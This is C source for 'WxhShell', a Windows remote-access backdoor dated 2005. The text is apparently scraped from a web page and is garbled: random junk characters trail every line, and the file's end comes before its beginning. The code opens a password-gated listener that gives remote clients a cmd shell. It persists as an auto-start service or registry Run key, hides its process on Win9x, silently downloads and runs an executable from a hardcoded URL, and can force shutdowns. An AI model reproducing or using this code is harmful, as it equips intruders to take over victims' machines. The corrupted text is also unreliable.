    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d9yfSZ  
    if(Boot(SHUTDOWN)) nZ~J &QK-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {igVuZ(>en  
    else { 9xIz[`)i.  
    closesocket(wsh); h-=lZ~W~  
    ExitThread(0); 1g bqHxWI  
    } A#8Dv&$Pr  
    break; 2^T`> ?{X  
    } 0ZjinWkR[  
  // 获取shell TaE&8;H#N  
  case 's': { U8icP+Y  
    CmdShell(wsh); @#KZ2^  
    closesocket(wsh); <hM`]/J55  
    ExitThread(0); Jevr.&;O  
    break; Tq`rc"&7u  
  } 4/M~#  
  // 退出 M_EXA _  
  case 'x': { M3/_E7Qoj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G$!JJ. )d  
    CloseIt(wsh); vILq5iR  
    break; CiTjRJ-ZW)  
    } 2'5%EQW;0y  
  // 离开 WwYy[3U  
  case 'q': { b$G &i'd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y> f 6  
    closesocket(wsh); @"gWv s  
    WSACleanup(); 8^ezqd`  
    exit(1); =}7[ypQM`]  
    break; jj8h>"d  
        } 6N {|;R@2  
  } +-+%6O<C  
  } UA]U_P$c  
(!^; ar^  
  // 提示信息 MW$ X4<*KD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / 1R` E9  
} j65qIw_Z  
  } U5x&? n<  
^ ;XJG9a0\  
  return; 2%*mL98WK  
} N 56/\1R  
Me XGE  
// shell模块句柄 ofIw7D*h  
int CmdShell(SOCKET sock) )S 2GPn7  
{ Uc<j{U ,  
STARTUPINFO si; eod-N}o  
ZeroMemory(&si,sizeof(si)); z),@YJU"z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0.}WZAYy~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n~|sMpd,M1  
PROCESS_INFORMATION ProcessInfo; JXA!l ?%  
char cmdline[]="cmd"; B8sc;Z.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bp>Z?"hTe  
  return 0; N(@B3%H2/J  
} _Nmc1azS  
WY 'QhieH  
// 自身启动模式 6o4Bf| E]  
int StartFromService(void) wz{]CQ7"  
{ _bm8m4Lk  
typedef struct J;AwC>N  
{ /$NZj" #  
  DWORD ExitStatus; />,KWHR|:  
  DWORD PebBaseAddress; PH]/*LEj  
  DWORD AffinityMask; /3mt=1/~{B  
  DWORD BasePriority; RAps`)OR?  
  ULONG UniqueProcessId; -cqR]'u  
  ULONG InheritedFromUniqueProcessId; N=[# "4I  
}   PROCESS_BASIC_INFORMATION; S%t*!  
>/5'0n_R  
PROCNTQSIP NtQueryInformationProcess; F&= X/  
N& 683z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'l7ey3B%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )J<VDO:_YA  
"0ZBPp1q  
  HANDLE             hProcess; -mur` tC  
  PROCESS_BASIC_INFORMATION pbi; ft" t  
,/uVq G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uKL4cr@  
  if(NULL == hInst ) return 0; #5b}"xK{  
C@#KZ`c)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q]v><  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )=]u]7p}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9\J.AAk~/  
9yrSCDu00  
  if (!NtQueryInformationProcess) return 0; ~As/cd>9  
]8;2Oh   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5_ \+8A*  
  if(!hProcess) return 0; +IkL=/';#  
lC AD $Ia~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,u&K(Z%  
.WV5Gf)  
  CloseHandle(hProcess); |_GESpoHH  
|h6u%t2AY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )'3V4Z&  
if(hProcess==NULL) return 0; 1@"os[ 9  
xb22 :  
HMODULE hMod; Fk*C8  
char procName[255]; r;C BA'Z  
unsigned long cbNeeded; 5dXDL~/2p  
|[B JZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T5gL  
$FM: 8^  
  CloseHandle(hProcess); C >gC 99  
(S)jV 0  
if(strstr(procName,"services")) return 1; // 以服务启动 YM<F7tp4  
fUV;3du  
  return 0; // 注册表启动 qvN`46c  
} ?Fp2W+M j  
sb"h:i>O4  
// 主模块 XRx^4]c  
int StartWxhshell(LPSTR lpCmdLine) 1 LUvs~Qu  
{ UJ^MS4;I3  
  SOCKET wsl; oH>G3n|U^  
BOOL val=TRUE; L_{gM`UFc  
  int port=0; W6Z3UJ-  
  struct sockaddr_in door; FNy-&{P2  
oa q!<lI  
  if(wscfg.ws_autoins) Install(); ]~d!<x#+  
}h=}!R'm   
port=atoi(lpCmdLine); O Zn40"`  
G'c6%;0)  
if(port<=0) port=wscfg.ws_port; Jnl#d0) -  
R^+,D  
  WSADATA data; B +<i=w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]7:*A7/!.  
>m'n#=yap  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =?oYEO7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sB+ B,DF  
  door.sin_family = AF_INET; & T&>4I!'M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sHn-#SGm  
  door.sin_port = htons(port); qku}cWD9/_  
7rSads  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U{?#W  
closesocket(wsl); JthW"{E  
return 1; M%"{OHj!o  
} ]!'9Y}9a  
\@F~4,VT  
  if(listen(wsl,2) == INVALID_SOCKET) { (>M? iB  
closesocket(wsl); 1|/-Ff"1@  
return 1; KbM1b  
} >^ TcO  
  Wxhshell(wsl); `Ti?hQm/  
  WSACleanup(); .X;D I<K  
c#<p44>U  
return 0; 07#e{   
,]H2F']4Z  
} <BX'Owbs!O  
G-Dc(QhU&  
// 以NT服务方式启动 w7`09oJm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wq = Ef  
{ 9`Zwa_Tni  
DWORD   status = 0; 9?.  
  DWORD   specificError = 0xfffffff; X3Yi|dyn T  
5"mH6%d :8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t*(buAx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eYD-8*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =)IV^6~b  
  serviceStatus.dwWin32ExitCode     = 0; 0.z\YTZ9  
  serviceStatus.dwServiceSpecificExitCode = 0; n?}7vz;  
  serviceStatus.dwCheckPoint       = 0; {2T;^+KE  
  serviceStatus.dwWaitHint       = 0; !.@F,wZvY  
d$#DXLA\P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ihBIE  
  if (hServiceStatusHandle==0) return; 9six]T  
zY2o;-d|4  
status = GetLastError(); Ux+UcBKm-  
  if (status!=NO_ERROR) ]%eyrbU  
{ yP0XA=,Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'j 'G4P_G  
    serviceStatus.dwCheckPoint       = 0; u`Abko<D  
    serviceStatus.dwWaitHint       = 0; mJ JF  
    serviceStatus.dwWin32ExitCode     = status; ZIs=%6""&  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y^-D'2P]P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P&5kO;ia  
    return; 8Bwm+LYr-  
  } fX{Xw0  
9?zi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P\{ }yd  
  serviceStatus.dwCheckPoint       = 0; |H&&80I  
  serviceStatus.dwWaitHint       = 0; 6L,"gF<n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qv;q*4_  
} bmI6OIWl  
"] [u  
// 处理NT服务事件,比如:启动、停止 3S{3AmKj?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mt\.?V:  
{ 4b  1a?  
switch(fdwControl) !P@4dG  
{ P0ZY;/e5h  
case SERVICE_CONTROL_STOP: +O!4~k^  
  serviceStatus.dwWin32ExitCode = 0; )(-aw,i K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gVI T6"/  
  serviceStatus.dwCheckPoint   = 0; 6!Uk c'r  
  serviceStatus.dwWaitHint     = 0; 7g-{ <d  
  { }S 6h1X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rj/1AK  
  } XVzsqi*Z  
  return; FE3uNfQs|  
case SERVICE_CONTROL_PAUSE: 4a zqH;i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =?[:Nj636  
  break; Y lhKP;  
case SERVICE_CONTROL_CONTINUE: hUe\sv!x?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W<T Ui51Y  
  break; (N?nOOQ  
case SERVICE_CONTROL_INTERROGATE: P#-p* 4  
  break; 349BQ5ND  
}; .s\_H,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x\aCZ  
} ccwz:7r  
hp$1c  
// 标准应用程序主函数 8u7QF4 Id  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kJpr:4;@_  
{ FB2{qG3  
Xa_:B\ic  
// 获取操作系统版本 : $N43_Wb  
OsIsNt=GetOsVer(); L b-xc]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6f)7*j~  
OlX#1W]  
  // 从命令行安装 2Ws'3Jz  
  if(strpbrk(lpCmdLine,"iI")) Install(); k_`YVsEYP  
,:% h`P_  
  // 下载执行文件 A9y@v{txN  
if(wscfg.ws_downexe) { z[l_<`J$9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BFZ\\rN`  
  WinExec(wscfg.ws_filenam,SW_HIDE); py$i{v%  
} 5I[6 "o0  
EOXuc9>G  
if(!OsIsNt) { OmZK~$K_  
// 如果时win9x,隐藏进程并且设置为注册表启动 }c=YiH,o  
HideProc(); 6W9lKD_i  
StartWxhshell(lpCmdLine); 2/ejU,S  
} H/l,;/q]b  
else .t.4y. 97  
  if(StartFromService()) dQ Lo,S8(  
  // 以服务方式启动 ?dmw z4k0  
  StartServiceCtrlDispatcher(DispatchTable); r=#v@]z B  
else ,qj M1xkL$  
  // 普通方式启动 ~!6 I.u  
  StartWxhshell(lpCmdLine); |8fdhqy_  
_ygdv\^Tet  
return 0; \`W8#fob  
} .&.L@CRH  
^ # 3,*(S  
1;HL=F  
G%U!$\j:qd  
=========================================== `HILsU=|  
$]MOAj"LH  
\zzPsnFIg  
cd] X5)$h  
= Q"(9[Az  
L#fSP  
" kfq<M7y  
6>b'g ~I  
#include <stdio.h> jV' tcFr4  
#include <string.h> 1-Q>[Uz,  
#include <windows.h> CJ[e^K{  
#include <winsock2.h> a> S -50  
#include <winsvc.h> :<uCi\9(  
#include <urlmon.h> BJjxy0+  
 /UtSZ(  
#pragma comment (lib, "Ws2_32.lib") 9`!#5i)VU8  
#pragma comment (lib, "urlmon.lib") w[J.?v&^  
-l{ wB"  
#define MAX_USER   100 // 最大客户端连接数 4Yd$RP  
#define BUF_SOCK   200 // sock buffer 0 gr#<(  
#define KEY_BUFF   255 // 输入 buffer >Sm#-4B-  
4g?qKoc i  
#define REBOOT     0   // 重启 RY*yj&?w [  
#define SHUTDOWN   1   // 关机 '8b=4mrbH  
2G$-:4B  
#define DEF_PORT   5000 // 监听端口 j2jUrl  
`!.c_%m2  
#define REG_LEN     16   // 注册表键长度 ;(IAhWE?7  
#define SVC_LEN     80   // NT服务名长度 U!T#'H5'-  
n;k B_i*l  
// 从dll定义API ]o`FF="at  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vr$z6m ^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #J%Fi).^)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 94.M 8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >2tosxH M  
!&o>zU.  
// wxhshell配置信息 P> ~Lx  
struct WSCFG { l6!a?C[2T  
  int ws_port;         // 监听端口  #uuNH(  
  char ws_passstr[REG_LEN]; // 口令 AmcBu"  
  int ws_autoins;       // 安装标记, 1=yes 0=no A{Q~@1  
  char ws_regname[REG_LEN]; // 注册表键名 K_V$ktL  
  char ws_svcname[REG_LEN]; // 服务名 g'V,K\TG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qGie~S ##  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h3;RVtS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [q!)Y:|u_>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T4}q%%7l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m\ /V0V\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IFWP&20  
*JVJKqed  
}; Y+"Gx;F>  
K|.!)L  
// default Wxhshell configuration 9R4q^tGR\  
struct WSCFG wscfg={DEF_PORT, dH0wVI<z  
    "xuhuanlingzhe", {4b8s%:!4  
    1, &r V  
    "Wxhshell", JP 8v2) p  
    "Wxhshell", fh e%5#3  
            "WxhShell Service", /f -\ 3  
    "Wrsky Windows CmdShell Service", cin3)lm  
    "Please Input Your Password: ", xiQ;lE   
  1, O)G^VD s  
  "http://www.wrsky.com/wxhshell.exe", 3(La)|k  
  "Wxhshell.exe" S|ADu]H(  
    }; -Tr*G4  
sxQMfbN  
// 消息定义模块 z=VL|Du1OT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y&+Sp/6BYA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AN-;*n<'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @0q*50  
char *msg_ws_ext="\n\rExit."; gNzamorv[  
char *msg_ws_end="\n\rQuit."; x)o`w"]al  
char *msg_ws_boot="\n\rReboot..."; b `.h+=3  
char *msg_ws_poff="\n\rShutdown..."; )NS& 1$  
char *msg_ws_down="\n\rSave to "; )F4P-u  
yn-TN_/Y,  
char *msg_ws_err="\n\rErr!"; < 5#}EiT5  
char *msg_ws_ok="\n\rOK!"; a]_eSU@  
;yg9{"O  
char ExeFile[MAX_PATH]; .(2ui~ed  
int nUser = 0; uSK<{UT~3  
HANDLE handles[MAX_USER]; o9uir"=  
int OsIsNt; z8hAZ?r1`  
.\+%Q)?h:  
SERVICE_STATUS       serviceStatus; -dsE9)&8DX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?AJE*=b  
/*5lO;!s{  
// 函数声明 j #)K/`  
int Install(void); DnW*q/=w  
int Uninstall(void); Qcr-|?5L  
int DownloadFile(char *sURL, SOCKET wsh); O* 7` Waag  
int Boot(int flag); 4I^8f||b_  
void HideProc(void); knJoVo]  
int GetOsVer(void); 'w5g s}1D  
int Wxhshell(SOCKET wsl); ,,[pc  
void TalkWithClient(void *cs); o>Jr6: D(  
int CmdShell(SOCKET sock); rfS kQT  
int StartFromService(void); Kwa$5qZI  
int StartWxhshell(LPSTR lpCmdLine); _l;$<]re\k  
w>ap8><4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <rpXhcR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z>zW83a  
==pGRauq  
// 数据结构和表定义 * >XmJ6w  
SERVICE_TABLE_ENTRY DispatchTable[] = S 2SJFp  
{ ESAFsJ$r;  
{wscfg.ws_svcname, NTServiceMain}, 9n#Em  
{NULL, NULL} Iib39?D W  
}; O}IRM|r"  
B> LL *  
// 自我安装 _Q1[t9P"  
int Install(void) +Tw]u`  
{ d2e4=/ A%  
  char svExeFile[MAX_PATH]; @(m XiK  
  HKEY key; =fr_` "?k  
  strcpy(svExeFile,ExeFile); I6E!$ }  
[10;Mg  
// 如果是win9x系统,修改注册表设为自启动 NXw$PM|+R  
if(!OsIsNt) { %"0g}tK6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Mp-4)mn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B:Xmc,|,  
  RegCloseKey(key); ]FLi^}ct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %!i|"FNc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); It/IDPx4ga  
  RegCloseKey(key); }QqmDK.  
  return 0; ^ |^Q(  
    } xiW;Y{kZ  
  } BL^8gtdn  
} _v9P0W^.7  
else { pjP R3 r  
VV1I2YcKt  
// 如果是NT以上系统,安装为系统服务 ?$#,h30  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,{br6*E  
if (schSCManager!=0) jo_wBJKE  
{ 1/H9(2{L  
  SC_HANDLE schService = CreateService hi30|^l-  
  ( b&V}&9'[M;  
  schSCManager, #&cNR_"w  
  wscfg.ws_svcname, sX~ `Vn&  
  wscfg.ws_svcdisp, s@ ~Y!A  
  SERVICE_ALL_ACCESS, LPNJuz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j}CZ*  
  SERVICE_AUTO_START, @l:o0(!W  
  SERVICE_ERROR_NORMAL, 8JU9Qb]L'I  
  svExeFile, pUz;e#J|  
  NULL, $# /-+>  
  NULL, 1%nE  
  NULL, / ao|v  
  NULL, J}9 I5O  
  NULL }? W[D  
  ); 6jKZ.S+s)  
  if (schService!=0)  Nx8~Rn  
  { v{Rj,Ou  
  CloseServiceHandle(schService); Q3$AL@".  
  CloseServiceHandle(schSCManager); xSQ:#o=8G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /8(\AuDT  
  strcat(svExeFile,wscfg.ws_svcname); {F/0pvP9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mct$.{~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _^2rRz  
  RegCloseKey(key); k-$5H~(PZ  
  return 0; OUd&fUmH  
    } YjTRz.e{[7  
  } _i=431Z40  
  CloseServiceHandle(schSCManager); MrW#~S|ED  
} "lFS{7  
} b6FC  
<QUjhWxDb  
return 1; p6MjVu  
} H+oQ L(i|_  
3q!hY  
// 自我卸载 't+ J7  
int Uninstall(void) P9Yw\   
{ Y-Zw'  
  HKEY key; {xFgPtCM  
T=EHue$  
if(!OsIsNt) { [IF5Iv\b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zPonG d1  
  RegDeleteValue(key,wscfg.ws_regname); *kmD/J  
  RegCloseKey(key); M x/G^yO9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  T\(w}  
  RegDeleteValue(key,wscfg.ws_regname); n#2tFuPE  
  RegCloseKey(key); >9Yo:b:f  
  return 0; m#\I&(l+  
  } r~K5jL%z9  
} S2TyNZbQ  
} BwLggo  
else { A5UZUU^  
I`$"6 Xy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;qA(!`h+  
if (schSCManager!=0) Bb,l.w  
{ Hwz.5hV"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >1}RiOd3  
  if (schService!=0) F9Hxqa#1T  
  { v%ldg833l  
  if(DeleteService(schService)!=0) { &V`~ z e  
  CloseServiceHandle(schService); o9<)rUy  
  CloseServiceHandle(schSCManager); ~ `xaBz0q  
  return 0; }f l4^F  
  } CFLWo1  
  CloseServiceHandle(schService); 0eGz|J*7  
  } $ $=N'Q  
  CloseServiceHandle(schSCManager); ^=CO gO]e  
} T J!d 7  
} TFQX}kr]  
W~!uSrY  
return 1; :t7M'BSm2z  
} L[D<e?j  
!08\w@  
// 从指定url下载文件 Vr<eU>W  
int DownloadFile(char *sURL, SOCKET wsh) 0SHF 8kek  
{ 0qCx.<"p8#  
  HRESULT hr;  dcd9AW=  
char seps[]= "/"; m,Fug1+N  
char *token; xJ);P.  
char *file; 3pk=c-x  
char myURL[MAX_PATH]; e5GJ:2sH  
char myFILE[MAX_PATH]; i$z).S?1  
# :)yh]MP  
strcpy(myURL,sURL); 'm4v)w<y#  
  token=strtok(myURL,seps); 7m<;"e)  
  while(token!=NULL) )B!64'|M  
  { j><8V Qx  
    file=token; J"$Y`;  
  token=strtok(NULL,seps); q-3e^-S*  
  } !eC]=PoY  
-~|E(ys  
GetCurrentDirectory(MAX_PATH,myFILE); 3G.-JLhs  
strcat(myFILE, "\\"); #cAX9LV  
strcat(myFILE, file); O-N@HZC  
  send(wsh,myFILE,strlen(myFILE),0); 7`G FtX}  
send(wsh,"...",3,0); 4g "_E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qp5YS  
  if(hr==S_OK) }#Q?\  
return 0; 4#fgUlV  
else 8%,u~ELA  
return 1; 2Sha&Z*CE  
kWKAtv5@w  
}  9EU0R H  
7_^JgA|Kk7  
// 系统电源模块 'ZXd |WI  
int Boot(int flag) OngUZMgdb  
{ AB0>|.  
  HANDLE hToken; jg3 X6/'  
  TOKEN_PRIVILEGES tkp; 'k1vV  
0+m4 }]6l  
  if(OsIsNt) { d,:3;:CR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t91z<Y|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H2iC? cSR  
    tkp.PrivilegeCount = 1; #FwTV@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4*Y`Pn@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a?NoNv)&  
if(flag==REBOOT) { r1R\cor  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tz<@k  
  return 0; G1?m}{D)  
} '0tNo.8K  
else { 4^u wZ:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a*3h|b<  
  return 0; 6jpfo'uB$  
} f$I$A(0P  
  } F./$nwb  
  else { 1!"iN~  
if(flag==REBOOT) { ZBxV&.9/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <%ZlJ_cM  
  return 0; in>.Tax*  
} ZhnRsn9  
else { qQ^ bUpk0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mO0a: i!  
  return 0; _Y 8RP%  
} E!]d?t3b  
} j#D( </T  
O@7={)6qc  
return 1; JM>4m)h#  
} @S#Ls="G  
!`qw" i  
// win9x进程隐藏模块 =Dc9|WuHN  
void HideProc(void) $QC^hC  
{ I>n2# -8  
D]B;5f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VcpN PU6  
  if ( hKernel != NULL ) 2y` :#e`x1  
  { &?(472<f**  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); em, j>qp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [D= KI&@&O  
    FreeLibrary(hKernel); b+!I_g4P  
  }  FtmI\,  
Hr/3nq}.  
return; 0{Bhr12V  
} y>iote~  
D4;6}gRC  
// 获取操作系统版本 y1*z," dx  
int GetOsVer(void) OJTEvb6nPg  
{ ,?(IRiq%  
  OSVERSIONINFO winfo; C=!YcJ9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 03^?+[C  
  GetVersionEx(&winfo); GJ P\vsaQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8iKupaaOX  
  return 1; 6,:`esl  
  else  OYwH$5  
  return 0; :j4i(qcF  
} jSMs<ox  
DY'1#$;  
// 客户端句柄模块 q@8j[15  
int Wxhshell(SOCKET wsl) #`Gh8n#  
{ $kCXp.#k@~  
  SOCKET wsh; gW_^GrKpI  
  struct sockaddr_in client; ^Z~'>J  
  DWORD myID; ZW>?y$C+  
 {xS\CC(g  
  while(nUser<MAX_USER) w 7Y>B`wm?  
{ xK;WJm"  
  int nSize=sizeof(client); Wzx Dnd<B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7\p<k/TS  
  if(wsh==INVALID_SOCKET) return 1; XF=GmkO  
pGhA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xh*p\ $  
if(handles[nUser]==0) ^"hsbk&Yu  
  closesocket(wsh); -f!oq7U  
else j@b18wZ  
  nUser++; (y;8izp9!  
  } 8 ?+t+m[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ls~F4ar$/  
4zw5?$YWO"  
  return 0; q9`!T4,  
} $Y Cy,Ew   
)/1,Ogb%_  
// 关闭 socket \%ZF<sV W  
void CloseIt(SOCKET wsh) |Y42ZOK0  
{ 7 *#pv}Y  
closesocket(wsh); 8LouCv(>  
nUser--; MX.=k>  
ExitThread(0); 4lqowg0  
} ZZXQCP6]  
qp@:Zqz8  
// 客户端请求句柄 ctg[C$<q|  
void TalkWithClient(void *cs) I!;&#LT+b  
{ DMY?'Nts!  
9G'Q3? z  
  SOCKET wsh=(SOCKET)cs; Im\{b=vT  
  char pwd[SVC_LEN]; `1$7. ydQ  
  char cmd[KEY_BUFF]; Y=#g_(4*  
char chr[1]; k 8Swra?j  
int i,j; fy`e)?46  
[|\JIr=of5  
  while (nUser < MAX_USER) { z7H[\4A!>  
!a[1rQH  
if(wscfg.ws_passstr) { p^U:O&U(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _e;$Y#`EO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p7A&r:qq#  
  //ZeroMemory(pwd,KEY_BUFF); u!X$M?D4  
      i=0; 'RlPj 0Cg  
  while(i<SVC_LEN) { 4oF8F)ASj  
lF\oEMd*  
  // 设置超时 U[a;e OLx  
  fd_set FdRead; &.Jp,Xt)  
  struct timeval TimeOut; l(T CF  
  FD_ZERO(&FdRead); <[H1S@{W  
  FD_SET(wsh,&FdRead); }D7q)_g=  
  TimeOut.tv_sec=8; )k.[Ve  
  TimeOut.tv_usec=0; eoS8e$}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A(mU,^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R18jju>Zr  
%s;#epP$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $f-f0t'  
  pwd=chr[0]; (o1*7_]e  
  if(chr[0]==0xd || chr[0]==0xa) { -|MeC  
  pwd=0; XF{ g~M  
  break; m"~^-mJ-  
  } 0@yHT-Dy  
  i++; Wb] ha1$  
    } 8Vkw vc  
C|"h]  
  // 如果是非法用户,关闭 socket -;TqdL@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m ?a&XZ  
} [<Wo7G1s  
*v[WJ"8@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  $&96qsr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +-=w`  
ysV0Ed  
while(1) { ,%#FK|  
zo-hH8J:  
  ZeroMemory(cmd,KEY_BUFF); ~n$VCLa  
W>Eee?  
      // 自动支持客户端 telnet标准   Wc4F'}s  
  j=0; /R&!92I0*  
  while(j<KEY_BUFF) { !>g_9'n'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l+'@y (}Q  
  cmd[j]=chr[0]; (PjC]`FK  
  if(chr[0]==0xa || chr[0]==0xd) { Gpws_ jw  
  cmd[j]=0; c rPEr  
  break; "P<IQx  
  } `Ym7XF&  
  j++; :b[ [}'  
    } .7Zb,r  
37DyDzW)'  
  // 下载文件 { as#lHn  
  if(strstr(cmd,"http://")) { e`%U}_[d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -t_t3aU|  
  if(DownloadFile(cmd,wsh)) UI}v{05]  
